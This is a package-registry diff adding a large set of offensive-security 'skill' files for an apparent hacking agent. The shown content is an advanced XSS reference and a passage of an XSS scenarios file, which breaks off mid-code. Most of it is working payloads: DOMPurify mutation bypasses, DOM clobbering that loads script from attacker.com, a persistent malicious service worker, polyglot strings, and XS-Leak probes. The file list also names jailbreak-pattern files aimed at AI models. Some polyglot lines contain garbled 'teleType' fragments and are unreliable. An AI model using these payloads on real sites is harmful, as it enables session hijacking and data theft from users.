ineedcodes 1.6.1 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +6 -3
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,276 @@
|
|
|
1
|
+
# Advanced XSS Tricks — Supplementary Reference
|
|
2
|
+
|
|
3
|
+
> **Load trigger**: When the agent needs modern framework XSS, mXSS, DOM Clobbering, Trusted Types bypass, or Service Worker persistence techniques beyond the core SKILL.md.
|
|
4
|
+
|
|
5
|
+
## 1. mXSS (Mutation XSS)
|
|
6
|
+
|
|
7
|
+
Browser HTML parser "fixes" markup differently than sanitizers expect, causing benign-looking HTML to mutate into executable payloads after DOM insertion.
|
|
8
|
+
|
|
9
|
+
### Core Mechanism
|
|
10
|
+
Sanitizer parses HTML → produces safe output → browser re-parses during `innerHTML` assignment → mutation creates executable node.
|
|
11
|
+
|
|
12
|
+
### DOMPurify Bypass Patterns
|
|
13
|
+
|
|
14
|
+
**Namespace confusion (SVG/MathML → HTML back-context):**
|
|
15
|
+
```html
|
|
16
|
+
<math><mtext><table><mglyph><style><!--</style><img title="--></mglyph><img src=1 onerror=alert(1)>">
|
|
17
|
+
```
|
|
18
|
+
Parser treats content as MathML, but browser switches to HTML integration point inside `<mtext>`, causing `<img>` to become executable.
|
|
19
|
+
|
|
20
|
+
**`<noscript>` parsing differential:**
|
|
21
|
+
```html
|
|
22
|
+
<noscript><style></noscript><img src=x onerror=alert(1)>
|
|
23
|
+
```
|
|
24
|
+
DOMPurify (scripting enabled) sees `<style>` consuming the rest. Browser with `scripting=false` context sees the `<img>` as a sibling.
|
|
25
|
+
|
|
26
|
+
**Form/table restructuring:**
|
|
27
|
+
```html
|
|
28
|
+
<form><math><mtext></form><form><mglyph><svg><mpath><set attributeName=onmouseover to=alert(1)>
|
|
29
|
+
```
|
|
30
|
+
Browser tree builder auto-closes first form and restructures, creating unexpected live elements.
|
|
31
|
+
|
|
32
|
+
### Key Principle
|
|
33
|
+
Test with: sanitizer output → `element.innerHTML = sanitized` → inspect actual DOM. If DOM differs from sanitizer's expected tree, mutation XSS is possible.
|
|
34
|
+
|
|
35
|
+
---
|
|
36
|
+
|
|
37
|
+
## 2. DOM Clobbering
|
|
38
|
+
|
|
39
|
+
Override JavaScript variables/properties by injecting HTML elements with specific `id` or `name` attributes.
|
|
40
|
+
|
|
41
|
+
### Basic Clobbering
|
|
42
|
+
```html
|
|
43
|
+
<!-- Clobber window.x -->
|
|
44
|
+
<img id=x>
|
|
45
|
+
<!-- Now window.x === the <img> element -->
|
|
46
|
+
|
|
47
|
+
<!-- Clobber nested: window.x.y -->
|
|
48
|
+
<form id=x><img id=y></form>
|
|
49
|
+
<!-- window.x.y === the <img> element -->
|
|
50
|
+
|
|
51
|
+
<!-- Clobber window.x.y via <a> href (toString = href) -->
|
|
52
|
+
<a id=x href="javascript:alert(1)">
|
|
53
|
+
<!-- String(window.x) === "javascript:alert(1)" -->
|
|
54
|
+
```
|
|
55
|
+
|
|
56
|
+
### HTMLCollection Clobbering (array-like)
|
|
57
|
+
```html
|
|
58
|
+
<a id=x>1</a><a id=x>2</a>
|
|
59
|
+
<!-- window.x is HTMLCollection [a, a] -->
|
|
60
|
+
<!-- window.x[0], window.x[1] accessible -->
|
|
61
|
+
```
|
|
62
|
+
|
|
63
|
+
### Deep Property Clobbering (3+ levels)
|
|
64
|
+
```html
|
|
65
|
+
<form id=x name=y><input id=z></form>
|
|
66
|
+
<!-- document.x.y.z exists -->
|
|
67
|
+
```
|
|
68
|
+
|
|
69
|
+
### Exploit Patterns
|
|
70
|
+
If code does `if (window.config) { url = window.config.url; }` and `config` is not defined:
|
|
71
|
+
```html
|
|
72
|
+
<a id=config href="https://attacker.com/evil.js">
|
|
73
|
+
```
|
|
74
|
+
Code now loads attacker-controlled URL.
|
|
75
|
+
|
|
76
|
+
### Defense Check
|
|
77
|
+
Code using `typeof x !== 'undefined'` or `x instanceof Object` can sometimes be bypassed because DOM elements are objects.
|
|
78
|
+
|
|
79
|
+
---
|
|
80
|
+
|
|
81
|
+
## 3. Modern Framework XSS
|
|
82
|
+
|
|
83
|
+
### React
|
|
84
|
+
- `dangerouslySetInnerHTML={{__html: userInput}}` — direct XSS if userInput is unsanitized
|
|
85
|
+
- `href={userInput}` on `<a>` — `javascript:` protocol not blocked by React
|
|
86
|
+
- SSR hydration mismatch — server renders different HTML than client expects, dangling markup possible
|
|
87
|
+
- `eval()` in `useEffect` with user data
|
|
88
|
+
|
|
89
|
+
### Vue.js
|
|
90
|
+
- `v-html="userInput"` — equivalent to innerHTML, no sanitization
|
|
91
|
+
- Server-side template injection via `{{ }}` in SSR mode
|
|
92
|
+
- `v-bind:href` / `:href` accepts `javascript:` URIs
|
|
93
|
+
- Component `is` attribute with user input → dynamic component injection
|
|
94
|
+
|
|
95
|
+
### Angular
|
|
96
|
+
- `bypassSecurityTrustHtml()` / `bypassSecurityTrustUrl()` — explicit trust marking
|
|
97
|
+
- Angular Universal SSR template injection
|
|
98
|
+
- `[innerHTML]` binding with bypassed sanitizer
|
|
99
|
+
- Older Angular.js (1.x) sandbox escapes still relevant for legacy apps:
|
|
100
|
+
```
|
|
101
|
+
{{constructor.constructor('alert(1)')()}}
|
|
102
|
+
{{'a]'.constructor.prototype.charAt=[].join;$eval('x=1}alert(1)//')}}
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
### Next.js / Nuxt
|
|
106
|
+
- `getServerSideProps` returning unsanitized data rendered with `dangerouslySetInnerHTML`
|
|
107
|
+
- API routes reflecting input without encoding
|
|
108
|
+
- `_document.js` custom head injection
|
|
109
|
+
|
|
110
|
+
---
|
|
111
|
+
|
|
112
|
+
## 4. Trusted Types Bypass
|
|
113
|
+
|
|
114
|
+
Trusted Types enforce that DOM XSS sinks only accept typed objects, not raw strings. Bypass requires finding a policy or sink gap.
|
|
115
|
+
|
|
116
|
+
### Finding Bypass Vectors
|
|
117
|
+
1. **Default policy exists** — look for `trustedTypes.createPolicy('default', ...)` with weak sanitization
|
|
118
|
+
2. **Policy with passthrough** — `createHTML: (s) => s` effectively disables protection
|
|
119
|
+
3. **Sinks not covered by TT** — `document.cookie`, `window.name`, `location.href` (navigation sinks)
|
|
120
|
+
4. **`eval` type policies** — if `createScript` is permissive
|
|
121
|
+
5. **DOM clobbering to override policy name** — clobber `trustedTypes` if checked loosely
|
|
122
|
+
|
|
123
|
+
### Non-TT-Protected Sinks
|
|
124
|
+
```javascript
|
|
125
|
+
window.name = payload; // persists across navigations
|
|
126
|
+
document.cookie = payload; // cookie injection
|
|
127
|
+
location.href = payload; // navigation-based XSS
|
|
128
|
+
location.hash = payload; // fragment injection
|
|
129
|
+
window.open(payload); // popup with javascript:
|
|
130
|
+
```
|
|
131
|
+
|
|
132
|
+
### Policy Abuse
|
|
133
|
+
```javascript
|
|
134
|
+
// If a policy does basic tag stripping but misses event handlers:
|
|
135
|
+
const p = trustedTypes.createPolicy('sanitize', {
|
|
136
|
+
createHTML: s => s.replace(/<script>/gi, '')
|
|
137
|
+
});
|
|
138
|
+
// Bypass: <img onerror=alert(1) src=x>
|
|
139
|
+
```
|
|
140
|
+
|
|
141
|
+
---
|
|
142
|
+
|
|
143
|
+
## 5. Service Worker XSS Persistence
|
|
144
|
+
|
|
145
|
+
### Registering Malicious Service Worker
|
|
146
|
+
If XSS allows script execution and the scope allows SW registration:
|
|
147
|
+
```javascript
|
|
148
|
+
navigator.serviceWorker.register('/sw.js', {scope: '/'})
|
|
149
|
+
```
|
|
150
|
+
|
|
151
|
+
### Self-Contained SW via importScripts
|
|
152
|
+
```javascript
|
|
153
|
+
// If you control a JS file or can inject via upload:
|
|
154
|
+
self.addEventListener('fetch', e => {
|
|
155
|
+
if (e.request.url.includes('/target-page')) {
|
|
156
|
+
e.respondWith(new Response('<script>alert(document.cookie)</script>',
|
|
157
|
+
{headers: {'Content-Type': 'text/html'}}));
|
|
158
|
+
}
|
|
159
|
+
});
|
|
160
|
+
```
|
|
161
|
+
|
|
162
|
+
### Persistence Value
|
|
163
|
+
- SW persists after XSS payload is cleaned/patched
|
|
164
|
+
- Intercepts all fetch requests within scope
|
|
165
|
+
- Can inject into every page load until SW is unregistered
|
|
166
|
+
- Survives page refresh, tab close/reopen
|
|
167
|
+
|
|
168
|
+
### Requirements
|
|
169
|
+
- HTTPS (or localhost)
|
|
170
|
+
- SW script must be served from same origin with valid JS content-type
|
|
171
|
+
- Scope restricted to SW script's directory and below
|
|
172
|
+
|
|
173
|
+
---
|
|
174
|
+
|
|
175
|
+
## 6. PDF/SVG/XML XSS Vectors
|
|
176
|
+
|
|
177
|
+
### PDF XSS (Adobe reader in browser)
|
|
178
|
+
```
|
|
179
|
+
/page.pdf#a]%0d/teleType(alert(1))%0d[/a
|
|
180
|
+
```
|
|
181
|
+
|
|
182
|
+
### SVG Polyglot
|
|
183
|
+
```xml
|
|
184
|
+
<?xml version="1.0"?>
|
|
185
|
+
<svg xmlns="http://www.w3.org/2000/svg">
|
|
186
|
+
<foreignObject>
|
|
187
|
+
<body xmlns="http://www.w3.org/1999/xhtml">
|
|
188
|
+
<script>alert(1)</script>
|
|
189
|
+
</body>
|
|
190
|
+
</foreignObject>
|
|
191
|
+
</svg>
|
|
192
|
+
```
|
|
193
|
+
|
|
194
|
+
### SVG `<use>` External Reference
|
|
195
|
+
```html
|
|
196
|
+
<svg><use href="https://attacker.com/evil.svg#xss"></use></svg>
|
|
197
|
+
```
|
|
198
|
+
|
|
199
|
+
### MathML XSS
|
|
200
|
+
```html
|
|
201
|
+
<math><maction actiontype="statusline#" xlink:href="javascript:alert(1)">click</maction></math>
|
|
202
|
+
```
|
|
203
|
+
|
|
204
|
+
---
|
|
205
|
+
|
|
206
|
+
## 7. XS-Leaks & Side Channels (Advanced)
|
|
207
|
+
|
|
208
|
+
### Timing-Based Detection
|
|
209
|
+
```javascript
|
|
210
|
+
// Detect if user is logged in to target site
|
|
211
|
+
let t0 = performance.now();
|
|
212
|
+
fetch('https://target.com/api/me', {mode: 'no-cors'});
|
|
213
|
+
let t1 = performance.now();
|
|
214
|
+
// Authenticated responses are larger/slower → timing oracle
|
|
215
|
+
```
|
|
216
|
+
|
|
217
|
+
### Frame Counting
|
|
218
|
+
```javascript
|
|
219
|
+
let w = window.open('https://target.com/search?q=SECRET');
|
|
220
|
+
setTimeout(() => {
|
|
221
|
+
// w.length = number of iframes in response
|
|
222
|
+
// Different result count → different frame count → oracle
|
|
223
|
+
console.log(w.length);
|
|
224
|
+
}, 2000);
|
|
225
|
+
```
|
|
226
|
+
|
|
227
|
+
### Error Event Oracle
|
|
228
|
+
```javascript
|
|
229
|
+
// Image loads successfully only for authenticated users
|
|
230
|
+
let img = new Image();
|
|
231
|
+
img.onload = () => { /* user is logged in */ };
|
|
232
|
+
img.onerror = () => { /* user is not logged in */ };
|
|
233
|
+
img.src = 'https://target.com/avatar.png';
|
|
234
|
+
```
|
|
235
|
+
|
|
236
|
+
### Cache Probing
|
|
237
|
+
```javascript
|
|
238
|
+
// Check if resource is cached (= user visited target page)
|
|
239
|
+
let t0 = performance.now();
|
|
240
|
+
fetch('https://target.com/static/logo.png', {cache: 'force-cache', mode: 'no-cors'});
|
|
241
|
+
let t1 = performance.now();
|
|
242
|
+
// Cached: fast. Not cached: slow.
|
|
243
|
+
```
|
|
244
|
+
|
|
245
|
+
---
|
|
246
|
+
|
|
247
|
+
## 8. Polyglot XSS Payloads
|
|
248
|
+
|
|
249
|
+
Single payloads that work across multiple contexts:
|
|
250
|
+
|
|
251
|
+
```
|
|
252
|
+
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%%0teleType%0teleType1teleType22teleType33teleType44teleType55teleType66teleType77[7teleType]teleType8teleType9teleType0teleType/teleType*'teleType"*/
|
|
253
|
+
</teleType>%0teleType<teleType>alert(1)</teleType>
|
|
254
|
+
|
|
255
|
+
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html " onmouseover=/*<svg/*/onload=alert()//>
|
|
256
|
+
|
|
257
|
+
-->'"/></sCript><dETAILS/+/teleType/+=teleType/OnToggle=alert()>
|
|
258
|
+
|
|
259
|
+
'"-->]]>*/</script></style></title></textarea><!--<p class="--><img src=x onerror=alert()>">
|
|
260
|
+
```
|
|
261
|
+
|
|
262
|
+
---
|
|
263
|
+
|
|
264
|
+
## 9. Browser-Specific Tricks
|
|
265
|
+
|
|
266
|
+
### Chrome-Specific
|
|
267
|
+
- `<svg><animate onbegin=alert(1) attributeName=x dur=1s>` — animation event
|
|
268
|
+
- Blink-specific parsing in `<template>` content
|
|
269
|
+
|
|
270
|
+
### Firefox-Specific
|
|
271
|
+
- `<math><mrow xlink:type="simple" xlink:href="javascript:alert(1)">click</mrow></math>`
|
|
272
|
+
- `-moz-binding` CSS (deprecated but sometimes present in legacy)
|
|
273
|
+
|
|
274
|
+
### Safari-Specific
|
|
275
|
+
- `<input onfocus=alert(1) autofocus type=search incremental=true>`
|
|
276
|
+
- WebKit-specific `<marquee>` event handlers
|
|
@@ -0,0 +1,278 @@
|
|
|
1
|
+
# XSS — Extended Scenarios & Real-World Cases
|
|
2
|
+
|
|
3
|
+
> Companion to [SKILL.md](./SKILL.md). Contains additional attack scenarios, CVE case studies, and defense bypass techniques.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## 1. CVE Case: Django Debug Page XSS (CVE-2017-12794)
|
|
8
|
+
|
|
9
|
+
Django's debug error page displays unescaped exception messages. When a `UNIQUE` constraint violation occurs, the duplicate value is shown raw:
|
|
10
|
+
|
|
11
|
+
**Attack flow**:
|
|
12
|
+
1. Register username: `<script>alert(1)</script>`
|
|
13
|
+
2. Attempt to register again with the same username
|
|
14
|
+
3. Django raises `IntegrityError` with the duplicate key value
|
|
15
|
+
4. Debug page renders: `duplicate key value violates unique constraint... (<script>alert(1)</script>)`
|
|
16
|
+
5. Script executes in the debug page context
|
|
17
|
+
|
|
18
|
+
**Conditions**: `DEBUG=True` in production (common in misconfigured deployments).
|
|
19
|
+
|
|
20
|
+
---
|
|
21
|
+
|
|
22
|
+
## 2. UTF-7 XSS (Legacy)
|
|
23
|
+
|
|
24
|
+
When the page does not specify charset and Internet Explorer auto-detects encoding:
|
|
25
|
+
|
|
26
|
+
```text
|
|
27
|
+
+/v8 +ADw-script+AD4-alert(1)+ADw-/script+AD4-
|
|
28
|
+
```
|
|
29
|
+
|
|
30
|
+
IE interprets `+ADw-` as `<` in UTF-7 encoding. The server must not set `Content-Type: text/html; charset=utf-8` for this to work.
|
|
31
|
+
|
|
32
|
+
**Modern relevance**: Rare, but still found in legacy intranet applications using IE compatibility mode.
|
|
33
|
+
|
|
34
|
+
---
|
|
35
|
+
|
|
36
|
+
## 3. HttpOnly Bypass Strategies
|
|
37
|
+
|
|
38
|
+
`HttpOnly` prevents `document.cookie` from reading the session cookie, but XSS can still:
|
|
39
|
+
|
|
40
|
+
| Technique | How It Works |
|
|
41
|
+
|---|---|
|
|
42
|
+
| **Proxy the browser** | XSS sends authenticated requests on behalf of victim (XMLHttpRequest/fetch with credentials) — no need to steal the cookie |
|
|
43
|
+
| **CSRF via XSS** | Read CSRF token from DOM → perform state-changing actions |
|
|
44
|
+
| **Keylogger** | Capture credentials as victim types |
|
|
45
|
+
| **Session riding** | Browse the application through injected JS, extract data from responses |
|
|
46
|
+
| **TRACE method** | Historical: `TRACE` reflects cookies in response body (blocked in modern servers) |
|
|
47
|
+
|
|
48
|
+
**Key insight**: HttpOnly does NOT prevent XSS exploitation — it only prevents cookie theft specifically. The attacker can do everything the victim can do through proxied requests.
|
|
49
|
+
|
|
50
|
+
---
|
|
51
|
+
|
|
52
|
+
## 4. XS-Leaks (Cross-Site Leak) Scenarios
|
|
53
|
+
|
|
54
|
+
XS-Leaks infer information about cross-origin pages without reading their content, using side channels:
|
|
55
|
+
|
|
56
|
+
### Timing-Based Search Oracle
|
|
57
|
+
|
|
58
|
+
```javascript
|
|
59
|
+
async function probe(query) {
|
|
60
|
+
const start = performance.now();
|
|
61
|
+
const img = new Image();
|
|
62
|
+
img.src = `https://target.com/search?q=${query}&_=${Date.now()}`;
|
|
63
|
+
await new Promise(r => { img.onload = img.onerror = r; });
|
|
64
|
